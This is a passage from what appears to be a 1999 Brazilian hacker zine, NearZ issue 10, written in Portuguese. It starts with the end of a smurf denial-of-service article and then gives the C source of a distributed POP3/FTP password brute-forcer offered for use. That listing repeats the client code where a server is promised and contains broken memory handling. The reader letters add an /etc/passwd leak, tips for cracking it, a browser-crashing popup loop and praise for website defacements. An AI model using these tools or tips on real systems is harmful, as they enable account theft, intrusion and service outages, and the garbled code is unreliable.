HostALVO <-Pong-------------------------------+
Criamos um pacote ping com IP de origem o IP da makina HostALVO e mandamos
pro BroadcastA, que por usa vez simplesmente responde ao ping com um pong
pra makina ALVO. O spoof ainda eh um problema das redes tcp/ip, mas nao
vamos falar sobre spoof aki. Vamus logo ao que interessa. Se ao inves
de mandarmos simplesmente 1 ping pro broadcastA mandarmos 1000, e ao
inves de usarmos soh o broadcastA usarmos o B, C, D... .. . }-)
Deu pra imagina? o HostALVO vai ser floodado com pongs e pongs...
A lag vai depender da velocidade do Link do host e da velocidade do
link dos broadcasts. Fizemos um teste em um servidor de irc (hehe
adivinha). Primeiro pegamos o tempo normal de resposta do host
que era em media 200ms. Ok. Fizemos uma lista de 1000 broadcasts.
Usamos 3 makinas no teste, 2 ficavam enviando os pings spoofados
e outra fica mandando pings normais (pra gente ter uma ideia da
lag que o hosts estaria enfrentando :)) Em 10 segundos a media que
era 200ms passou pra 500ms, depois 700ms, 1000ms e depois 30000ms!!
Hehe, eu imagino a lag que deve ter ficado os usarios que estavam
nakele servidor de IRC na hora do test) (ps: as 3 makinas estao em
redes diferentes). Antes de voce sair por ae alagando o que ja eh
lagado (heheh) voce tem que ver se a makina a ser smurfada responde
a ping, assim como todos os broadcasts que voce for usar. O papasmurf
vai em anexo ao nearz10.{zip,tgz} em misc/DoS [pra compilar "make"]
A lista de broadcasts deve ficar num arquivo um embaixo do outro sem
espaco. Obs: Broadcasts sempre terminam em .255 ou .0
A lista eh por sua conta ;)
┌───── ───── ──── ─── ── ── ─ ■─┐
│ Voce sabe que esta exagerando na cafeina quando: │
│ Voce atende a porta antes de baterem │
└─■ ─ ── ── ─── ──── ───── ─────┘
╔═─────────────────────────────────────────────═╗
■──┤ [0x06] <cRk> Brute Force ├──────■ SoUL HuNTeR ■─
╚═─────────────────────────────────────────────═╝
Bom, antes que vc fale alguma coisa contra brute force, veja primeiro.
Este nao eh um brute force comum, ele eh dividido em 2 programas, o
servidor e o cliente. A funcao do servidor, eh enviar blocos de 50 senhas
para o cliente por vez. Mas vc deve estar perguntando.. e pq nao fazer um
programa so?...
Ai eh que esta. ele nao eh um brute force comum, ele pode juntar varios
computadores executando a mesma tarefa.
Ex. Voce quer rodar um brute force no POP3 de... bla.microsoft.com, se
voce rodar um simples bruteforce.. provavelmente voce ficara alguns meses
la... mas com o NearZ brute force, voce podera rodar infinitos computadores
contra o bla.microsoft.com. imagine 100 computadores procurando uma senha :)
O funcionamento do servidor na teoria ate que eh simples.
Aqui vao os passos feito pelo cliente para o server
1 - o Cliente envia um "NEARZ INFO"
2 - o servidor retorna os parametros
3 - o Cliente envia um "NEARZ REQ"
4 - o servidor envia 50 linhas do dicionario
5 - apos o cliente acabar com a lista ele envia um "NEARZ OK"
6 - se o servidor receber NEARZ OK antes do timeout. ele fecha a conexao
- se der timeout ou nao receber "NEARZ OK" ele fecha a conexao e adiciona
a posicao do dicionario para que seja reenviada na proxima conexao
BUGS conhecidos
0.99b
- quando qquer cliente chega ao fim do dicionario chega, o daemon
eh desativado.
OBS: o bloco do dicionario que o servidor envia, NAO eh repetido para os
outros clientes
Aqui vai o servidor:
------------------------------------------------------------------------------
/*
Nearz ListServer 1999 Versao 0.99b
By SoulHunter.
*/
#include <stdio.h>
#include <signal.h>
#include <malloc.h>
#include <stdarg.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#define USER "USER"
#define PASS "PASS"
#define NZINFO "NEARZ INFO"
#define NZREQ "NEARZ REQ"
#define NZOKAY "NEARZ OK"
#define NZFOUND "NEARZ FOUND"
#define PORT 3001
#define OK "+OK"
#define ERR "-ERR"
struct info {
char host [255];
char port [255];
char login [255];
char pos [255];
char server[255];
char *OK1 ;
char *OK2 ;
char *OK3 ;
} info;
int C1,T1;
int skf (int S2,char *msg01, ...);
char * readline (int S2);
char * reads (int S0);
int doit (char *pass);
int Connect (char *hostname, int port );
main(int argc,char **argv)
{
char *temp01;
char pwd[50][255];
int a=0,i=0,jmp;
signal(SIGPIPE,SIG_IGN);
printf("\nNearZ - POP3/FTP Brute Force for ListServer\n");
if(argc<4 || argv[1][0]!='-'){
printf("\nUso:\nPOP3: %s -p <NZ brute force server> <porta>\n",argv[0]);
printf("FTP: %s -f <NZ brute force server> <porta>\n",argv[0]);
exit(1);
}
if(argv[1][1]=='p'){
info.OK1="+OK";
info.OK2="+OK";
info.OK3="+OK";
}
else if(argv[1][1]=='f'){
info.OK1="220";
info.OK2="331";
info.OK3="230";
} else {
printf("\nParamento incorreto\n");
exit(1);
}
strncpy(info.server,argv[2],255);
strncpy(info.port,argv[3],255);
C1=Connect(info.server,PORT);
if(write(C1,NZINFO,strlen(NZINFO))<=0){
printf("\nConexao com o servidor perdida\n");
exit(1);
}
if(read(C1,temp01,255)<=0){
printf("\nConexao com o servidor perdida\n");
exit(1);
}
temp01[strlen(temp01)-1]=0x00;
close(C1);
sscanf(temp01,"%s%s%s",info.host,info.login,info.pos);
printf("Host : %s\n",info.host);
printf("Login : %s\n",info.login);
printf("Posicao: %d\n",atoi(info.pos));
sleep(2);
for(;;){
C1=Connect(info.server,PORT);
if(write(C1,NZREQ,strlen(NZREQ))==-1);
for(i=0;i<50;i++) bzero(pwd[i],255);
jmp=50;
for(i=0;i<50;i++){
temp01=readline(C1);
if(temp01==NULL){ jmp=i; break; }
strncpy( pwd[i] , temp01 , 80 );
}
T1=Connect(info.host,atoi(info.port));
if((temp01=reads(T1))==NULL){
printf("\nhost.denyed?");
exit(1);
}
if(strncmp(temp01,info.OK1,3)!=0){
printf("\nErro [%s]",temp01);
exit(1);
}
for(i=0;i<jmp;i++){
do{
if(strlen(pwd[i])==0) {
if(write(C1,NZOKAY,strlen(NZOKAY))==-1);
exit(1);
}
a=doit(pwd[i]);
if(a==1){
printf("\nSenha Encontrada :%s\n",pwd[i]);
fflush(stdout);
skf(C1,"%s%s",NZFOUND,pwd[i]);
close(T1);
close(C1);
exit(0);
}
else if(a==-1){
close(T1);
fflush(stdout);
T1=Connect(info.host,atoi(info.port));
if((temp01=reads(T1))==NULL) return -1;
if(strncmp(temp01,info.OK1,3)!=0){
printf("\nErro [%s]",temp01);
exit(1);
}
}
}while(a==-1);
}
if(write(C1,NZOKAY,strlen(NZOKAY))==-1);
close(C1);
}
}
int doit(char *pass)
{
char *temp01;
printf("Trying : [%s] - [%s]\n",info.login,pass);
fflush(stdout);
if(skf(T1,"%s %s\n",USER,info.login)==-1) return -1;
if((temp01=reads(T1))==NULL) return -1;
if(strncmp(temp01,info.OK2,3)!=0){
printf("\n%s",temp01);
exit(1);
}
if(skf(T1,"%s %s\n",PASS,pass)==-1) return -1;
if((temp01=reads(T1))==NULL) return -1;
if(strncmp(temp01,info.OK3,3)==0){
return 1;
}
return 0;
}
int skf(int S2,char *msg01, ...)
{
char temp01[5000];
va_list args;
va_start(args, msg01);
vsprintf(temp01, msg01, args);
va_end(args);
if(write(S2,temp01,strlen(temp01))==-1){
return -1;
}
}
int Connect(char *hostname, int port )
{
int sockfd;
int sinlen = sizeof(struct sockaddr_in);
struct sockaddr_in daddr;
struct hostent *he;
if ((he=gethostbyname(hostname)) == NULL) {
perror(hostname);
exit(1);
}
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
daddr.sin_family = AF_INET;
daddr.sin_port = htons (port);
daddr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&daddr.sin_zero,8);
if((connect(sockfd, (struct sockaddr *)&daddr, sizeof(struct sockaddr_in)))==-1){
perror(hostname);
exit(1);
}
return sockfd;
}
char *readline(int S2)
{
char temp;
char *temp01=malloc(5000);
int i=0;
bzero(temp01,5000);
do{
if(read(S2,&temp,1)<=0) { free(temp01); return NULL; }
temp01[i++]=temp;
}while(temp!=0x01 && temp!=0x00 && temp!=0x0a && i<5000);
temp01[i-1]=0x00;
free(temp01);
return temp01;
}
char *reads(int S0)
{
int tmp;
char *tmp1=malloc(5000);
fd_set fds;
struct timeval tv;
tv.tv_sec=60;
tv.tv_usec=0;
FD_ZERO (&fds);
FD_SET (S0, &fds);
if(select (S0 + 1, &fds, NULL, NULL, &tv)<=0) return NULL;
if (FD_ISSET (S0, &fds)){
if(read(S0,tmp1,255)<=0) return NULL;
}
free(tmp1);
return tmp1;
}
----------------------------------------------------------------------------
Este eh o POP3/FTP brute force, creio eu que funcionam em todos os tipo
ate nos que fecham a conexao apos certos numeros de senhas erradas.
----------------------------------------------------------------------------
/*
NearZ - Brute Force Crack for Listserver (POP3/FTP)
By Soulhunter - 1999
*/
#include <stdio.h>
#include <signal.h>
#include <malloc.h>
#include <stdarg.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#define USER "USER"
#define PASS "PASS"
#define NZINFO "NEARZ INFO"
#define NZREQ "NEARZ REQ"
#define NZOKAY "NEARZ OK"
#define NZFOUND "NEARZ FOUND"
#define PORT 3001
#define OK "+OK"
#define ERR "-ERR"
struct info {
char host [255];
char port [255];
char login [255];
char pos [255];
char server[255];
char *OK1 ;
char *OK2 ;
char *OK3 ;
} info;
int C1,T1;
int skf (int S2,char *msg01, ...);
char * readline (int S2);
char * reads (int S0);
int doit (char *pass);
int Connect (char *hostname, int port );
main(int argc,char **argv)
{
char *temp01;
char pwd[50][255];
int a=0,i=0,jmp;
signal(SIGPIPE,SIG_IGN);
printf("\nNearZ - POP3/FTP Brute Force for ListServer\n");
if(argc<4 || argv[1][0]!='-'){
printf("\nUso:\nPOP3: %s -p <NZ brute force server> <porta>\n",argv[0]);
printf("FTP: %s -f <NZ brute force server> <porta>\n",argv[0]);
exit(1);
}
if(argv[1][1]=='p'){
info.OK1="+OK";
info.OK2="+OK";
info.OK3="+OK";
}
else if(argv[1][1]=='f'){
info.OK1="220";
info.OK2="331";
info.OK3="230";
} else {
printf("\nParamento incorreto\n");
exit(1);
}
strncpy(info.server,argv[2],255);
strncpy(info.port,argv[3],255);
C1=Connect(info.server,PORT);
if(write(C1,NZINFO,strlen(NZINFO))<=0){
printf("\nConexao com o servidor perdida\n");
exit(1);
}
if(read(C1,temp01,255)<=0){
printf("\nConexao com o servidor perdida\n");
exit(1);
}
temp01[strlen(temp01)-1]=0x00;
close(C1);
sscanf(temp01,"%s%s%s",info.host,info.login,info.pos);
printf("Host : %s\n",info.host);
printf("Login : %s\n",info.login);
printf("Posicao: %d\n",atoi(info.pos));
sleep(2);
for(;;){
C1=Connect(info.server,PORT);
if(write(C1,NZREQ,strlen(NZREQ))==-1);
for(i=0;i<50;i++) bzero(pwd[i],255);
jmp=50;
for(i=0;i<50;i++){
temp01=readline(C1);
if(temp01==NULL){ jmp=i; break; }
strncpy( pwd[i] , temp01 , 80 );
}
T1=Connect(info.host,atoi(info.port));
if((temp01=reads(T1))==NULL){
printf("\nhost.denyed?");
exit(1);
}
if(strncmp(temp01,info.OK1,3)!=0){
printf("\nErro [%s]",temp01);
exit(1);
}
for(i=0;i<jmp;i++){
do{
if(strlen(pwd[i])==0) {
if(write(C1,NZOKAY,strlen(NZOKAY))==-1);
exit(1);
}
a=doit(pwd[i]);
if(a==1){
printf("\nSenha Encontrada :%s\n",pwd[i]);
fflush(stdout);
skf(C1,"%s%s",NZFOUND,pwd[i]);
close(T1);
close(C1);
exit(0);
}
else if(a==-1){
close(T1);
fflush(stdout);
T1=Connect(info.host,atoi(info.port));
if((temp01=reads(T1))==NULL) return -1;
if(strncmp(temp01,info.OK1,3)!=0){
printf("\nErro [%s]",temp01);
exit(1);
}
}
}while(a==-1);
}
if(write(C1,NZOKAY,strlen(NZOKAY))==-1);
close(C1);
}
}
int doit(char *pass)
{
char *temp01;
printf("Trying : [%s] - [%s]\n",info.login,pass);
fflush(stdout);
if(skf(T1,"%s %s\n",USER,info.login)==-1) return -1;
if((temp01=reads(T1))==NULL) return -1;
if(strncmp(temp01,info.OK2,3)!=0){
printf("\n%s",temp01);
exit(1);
}
if(skf(T1,"%s %s\n",PASS,pass)==-1) return -1;
if((temp01=reads(T1))==NULL) return -1;
if(strncmp(temp01,info.OK3,3)==0){
return 1;
}
return 0;
}
int skf(int S2,char *msg01, ...)
{
char temp01[5000];
va_list args;
va_start(args, msg01);
vsprintf(temp01, msg01, args);
va_end(args);
if(write(S2,temp01,strlen(temp01))==-1){
return -1;
}
}
int Connect(char *hostname, int port )
{
int sockfd;
int sinlen = sizeof(struct sockaddr_in);
struct sockaddr_in daddr;
struct hostent *he;
if ((he=gethostbyname(hostname)) == NULL) {
perror(hostname);
exit(1);
}
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
daddr.sin_family = AF_INET;
daddr.sin_port = htons (port);
daddr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&daddr.sin_zero,8);
if((connect(sockfd, (struct sockaddr *)&daddr, sizeof(struct sockaddr_in)))==-1){
perror(hostname);
exit(1);
}
return sockfd;
}
char *readline(int S2)
{
char temp;
char *temp01=malloc(5000);
int i=0;
bzero(temp01,5000);
do{
if(read(S2,&temp,1)<=0) { free(temp01); return NULL; }
temp01[i++]=temp;
}while(temp!=0x01 && temp!=0x00 && temp!=0x0a && i<5000);
temp01[i-1]=0x00;
free(temp01);
return temp01;
}
char *reads(int S0)
{
int tmp;
char *tmp1=malloc(5000);
fd_set fds;
struct timeval tv;
tv.tv_sec=60;
tv.tv_usec=0;
FD_ZERO (&fds);
FD_SET (S0, &fds);
if(select (S0 + 1, &fds, NULL, NULL, &tv)<=0) return NULL;
if (FD_ISSET (S0, &fds)){
if(read(S0,tmp1,255)<=0) return NULL;
}
free(tmp1);
return tmp1;
}
┌───── ───── ──── ─── ── ── ─ ■─┐
│ Voce sabe que esta exagerando na cafeina quando: │
│ Voce tira uma foto de si mesmo a cinco metros de distancia (sem timer) │
└─■ ─ ── ── ─── ──── ───── ─────┘
┌─ ┐ ┌ ─┐
┌───────────────────┌──└┐┘ =────────────────────= └┌┘──┐───────────────────┐
│ [0x0Z] ─ ─ E-MaiLZ/E0i ─ ─ [0x0Z] │
└───────────────────└──┌┘┐ =────────────────────= ┌└┐──┘───────────────────┘
└─ ┘ └ ─┘
O Nosso email eh: nearz@cyberspace.org
Enviem suas duvidas, comentarios, opinioes sugestoes, bug reports,
Lembrando que se voce nao receber reposta por email leia a edicao
seguinte. Lah estara a sua resposta. Agora as mensagens de alguns leitores:
-=0=---------------------------------------------------------------------=0=-
FROM: c*@hal*e.org
Aeeeeeeeeeeee...oooo tava interessado em instalar o minilinux tem
jeito? =) hehehe zueira..bom quem responde eu to ligado que eh o TGO
intao vo pedir pra voce mesmo...
O TGO faz uma materia sobre Socks!!! Esse seu tutorial tem que ser
sobre SOCKZ..ta ligado? Eu falo com o SH e ele diz "aaaaa mas o que
tem de MAU nisso" mas como eu vi o texto que voce fez ai o tutorial C
acho que voce podeira falar sobre socks....a e hehehe como sei que uma
pah de gente le esse zine vou vender meu peixe ok?
Ae Leitores da NearZ sei que tem muito novato aki portanto se quiser
ler algo que lhe de uma base...nada avancado como nearz....leia
2801megazine em w3.to/2801megazine ....falei?
Valeu TGO...escreva sobre socks :)
SH- Coitado do VH vai rodar por sua causa :)
hehehehe um [ ] 'z pra vcs.......
REPLY: Ta bom ta bom, ja fiz. Mas o que tem mau em sockets? :P Nao sou
soh eu quem respondo nao...
-=0=---------------------------------------------------------------------=0=-
FROM: k*@???.ml.org
Ola povo da NearZ. A edicao 09 de voces esta legal, bem completa.
Continuem com o bom trabalho. Eu visitando o site de voces, vi o UCS
(Unix Chat System). Gostaria de saber se o src dele esta disponivel,
e se estiver, por favor me avisar onde encontro. Uma sugestao : Botem
alguns docs nele, ta muito seco, o programa e so. Um Readme e' sempre
alguma coisa.
REPLY: Thankz. Valeu pela sugestao. Tem source sim: www.nearz.org
-=0=---------------------------------------------------------------------=0=-
FROM: *@lords.com
Oi, eu to lendo todas as edicoes da Nearz, e fala q vcs tem o script
SATAN, soh q nao encontrei na hp de vcs, sera q dava p/ vcs me
mandarem uma hp aonde tenha ele, ou coisa parecida??
Outra coisa, a zine tah muito boa.
REPLY: ixxieh.... nearz 00, hehe. OLha, acho que o satan tem na sunsite
(sunsite.unc.edu) Qui ce vai fazer com ele rapa? :)
-=0=---------------------------------------------------------------------=0=-
FROM: t*@momentus.com.br
O aprendiz de Hacker daqui de casa ta de queixo caido (meu filho) com
o resultado do seu trabalho. Cade o manifesto para que todos assinem
e passem a fazer parte deste movimento. Se voces colocarem uma pagina
anexa os usuarios dos provedores "acessados " podero se manifestar a
favor e at mesmo contra e assim teremos um contador ( estatistica )
que pode ajudar a fazer presso.
REPLY: hhehehhe Later...
-=0=---------------------------------------------------------------------=0=-
FROM: q*@iptec.com.br
Alo pessoal, Quero parabenizar voces pela iniciativa e pela invaso da
Rede Lagos. Gostei muito, o Dono deste provedor se gabava de usar Linux
e ser inviolavel, alem do protesto que achamos super justo, voces deram
uma licao nele. Aquele famos o tapa com luva de pelica. Nos orgulhamos
de ter Brasileiros com esse conhecimento. Felicidades a todos e parabens
mais uma vez.
REPLY: Thankz... Hey, defendo quem usa Linux e nao demos uma licao em ninguem
-=0=---------------------------------------------------------------------=0=-
FROM: k*@hotmail.com
4 hora da manha todo mundu bebadu e estava eu procurandu por um furo
em um provedor quando me defrontei com um cgi.php e assim sendo consegui
lista o arkivo /etc/passwd pelo browser, consegui o passwd mans naum o
shadow, e tal provedor usa a mierda do shadow.(obvio q o php num achoW
o shadow) muito bem... eu como leitor assiduo d zines lembrei na hora de
um topico em um dos issues do nearz falando sobre finger e q c dava para
mountar um passwd com o finger e logo deduzi q pra q eu precisaria de
mountar se eu jah tinha todos os dados d todos os usuarios do provedor e
a unica coisa q eu precisaria era do password encryptado. Peguei um
usuario e fiz um password trocando o x pelo mesmo, e na hora que fui
usah o john 1.6 (p/ linux) com as opcoes -single & -list para testar
realmente a para e tive a resposta d invalid option "-list" ... minha
unica duvida eh c essa opcaum -list existe mesmo em outra versaum
do john ou em versaum pra ruindoWz?? keria aproveitar o encejo (encejo
eh foda huahua) e dize q na minha opiniaum o NearZ eh um dos Top de
linha em relassaum a zine brasileiro e que em breve estarei fazendu
um mirror do zine, (caso haja algum pobrema eh soh dah um tok e jah
elvis) caso contrario assim o farei. Boa Sorte ae MaluKda
se deh pra responde a preguntaH firmeza c naum... valew mermo assim.
REPLY: Heheh, deram uma mudada no john depois da versao 1.5 e nao se se ainda
tem a opcao -list. No seu caso voce pode pegar um arquivo e colocar
o login de todos os usarios (um em cada) linha e rodar o john com a
opcao `-rules' e tal... voce pode colocar tambem o nome dos usuarios
na wordlist. Pode faze o mirror sim... e se tu quizeh te mando os
um tar.gz dos html que estao em nearz.org ;]
-=0=---------------------------------------------------------------------=0=-
FROM: x*@geocities.com
Tipo, fiquei 100 internet e tal devido a problemas com o telefone. Bom,
pelo menos nao tenho que aturar as ligacoes do PP, hehehe! Resolvi ler
todas as edicoes do NearZ. Tarefa rulez, fiquei mais de 2 hora lendo e
tal. Lendo os baguio resolvi manda esse mail. Nao tenho a menor ideia
de quando vou poder mandar, mais foda-se! :)
Tipo, uma das coisas que eu vi foi a comparacao entre NT 4.0 e Linux...
Tipo... o preco do NT eh caro pra KCT, imagino quanto vai custar o 5.0.
E pensar que paguei 12 real no meu CLRH! :) Recebi uns folheto inutil
da Comdex e vi um negocio lah falando do Solaris 7. 6 sabem algo sobre
ele?! Tinha outra materia tambem que mostrava como trava o Nerdscape,
com multiplos frames e tal... tem outra manha que deixa qualquer um
maluco. Abre umas 30 janela ate que trave! Nao sei no LX, mas no
Ruindows... No IE3 do meu colega deu telinha azur! Tipo, cria 2
arquivo:
----- blah1.html-----
<html>
<head>
<script language="JavaScript">
window.open('blah2.htm', '', 'scrollbars,resizable,status');
</script>
</html>
-----cut here--------
-----blah2.html
<html>
<head>
<script language="JavaScript">
window.open('blah1.htm', '', 'scrollbars,resizable,status');
</script>
<html>
-------cut here------------
Tem um baguio que zoa o IE4 e o 4.01, foi o Phenom que descobriu a umas
decadas, no chat da RUOL. Quando c vai clica com o mouse no campo pra
digitar a mensagem, no exato momento que a flexa do mouse for mudar
para tipo prompt, clique! Ira dar operacao ilegal... hehe No ie 5.0
nao rola mais esse bug. Mesmo assim, pode falar o que for, o IE
4x/5.x eh melhor que o Netscape sim! Eu que sou Webmaster, que ralo
na PQP do html (sometimes html sux), sei disso. Tipo, junto com esse
mail chato (hehe), vai uma copia de um texto que vo manda pro 2801
Mega Zine (s nao sei quando), que fala sobre browsers e tal... Se
quiserem colocar a materia ae... :)
O Soul mando ve uma materia sobre o ICQ, pra por 127.0.0.1 na info,
via proxy... tipo... voce pode por qualquer hostname/ip vivo ou morto
na porta 8080 lah que fica. Ficaria rulez um proxy: aerosmith.com :)
O Blood Root chamou vo6 de NeardZ... tipo... tava lendo o zine dele...
achei uma frase linda:
" Basicamente, a zine sai a cada 2 meses, ou seja, a edicao 09 dazine
saira no primeiro dia do seculo 2000, se o mundo nao for destruido.."
Seculo 2000????? caralho!!!!!!!!!!!!!!
E ele ainda quer discutir comigo no guestbook do PP na MicrosoftZ, tsk
tsk... ;)
Tinha ainda outra coisa linda:
"Quanto a invasao da Mandioca, pelos camaradas da Nearz, eu achei uma
boa atidude deles em mudar a pagina, ja que todos tinham acesso na
mandic, mas ninguem tinha coragem de mudar o htm ou entao porque nao
queriam que o acesso ao servidor seria acabado, acabou que a nova dona
da Mandioca, foi comprada pelo preco de uns bons megabytes de
wordlists, espero que os administradores da mandic nao fiquem muito
chateados com a frustacao que eles causaram no seu sistema. :)
Voce pode contatar a nearz pelo endereco:
http://members.tripod.com/nearz
http://www.cyberspace.com/~nearz "
Todo mundo tinha acesso lah!? mmmmm....... sei sei..... :)
Outra coisa..... os enderecos nao estao invertidos!? :)
Quando alguem vai nos chats da UOL, ao digitar Puruca ou puruka
automaticamente eh guspido? Well, not yet. Tipo, isso soh acontece nas
salas que o Ender controla, nas outras nao.. tsk tsk...
Ah, tinha uma materia tb do Soul que falava como descobrir o IP dos
nego nos chat de imagem. Soh que seu IP ficava visivel , jah que a
imagem ficava no seu host. Se voce usa ruindows (windows sometimes
rulez), voce pode usar um programa chamado DynIP (http://www.dynip.com)
Tipo, ele cria um host, que eh ligado no seu IP. Tipo,
vhunter.dynip.com Ae qualquer coisa worka, ftp, http, bo, netbus...
mas no meio do chat, quem ver vai pensar que eh algum host por ae....
o foda eh que o programa eh conexao keep alive, ou seja, dah uma
enlerdada na conexao...
Bom, esse mail chato fica por aqui (eeeeeee). Acho q nem preciso
elogiar o zine de vo6... as materias sempre foram rulez e tal...
O Outlook eh um dos poucos programas da Microshit que nao da pau,
sobreviveu ao matirio! Ah, saiu a Hackers Generation, uma HP que eu
to fazendo. Sem puxar sardinha, ta ficando rulez. Vai rolar ateh
camiseta pra all! Nearz eh presenca garantida lah e tal.....
Bao, fico por aqui. Falowwwwwww! :)
Vampire Hunter (VH1, VH2, VH3... depende da Telesp)
REPLY: Tankz,.. hehe (Bloodroot: wordlists ? hmmmmmm sei...)
-=0=---------------------------------------------------------------------=0=-
* ___ _ _______ *
* \ \ | | ___ ___ _ __\__ / *
* | \ | | / _ \ |__ \ | '_/ / / *
* | \| || __/ / _ | | | / /__ *
* | |\ | \___| \___,_\|_| /_____/ *
* \| \_| f a c t o r y 99 *
* *
-=0=---------------------------------------------------------------------=0=-
NearZ 10 - Editors:
<tgo> OBtRuDeR
<SH1> SoUL HuNTeR
<pb666> PsYCh0ByTe
-=-{
C tutorial: PsYCh0ByTe, OBtRuDeR
Sockets tutorial: OBtRuDeR
Brute Force: SoUL HuNTeR
Caffeine: OBtRuDeR e alguns documentos cientificos =)
Smurf: OBtRuDeR
Kernel patch: PsYCh0ByTe
}-=-
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█ E0i ─=─ End of issue 10 ─█# Near(z) #█─ End of issue 10 ─=─ E0i █
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀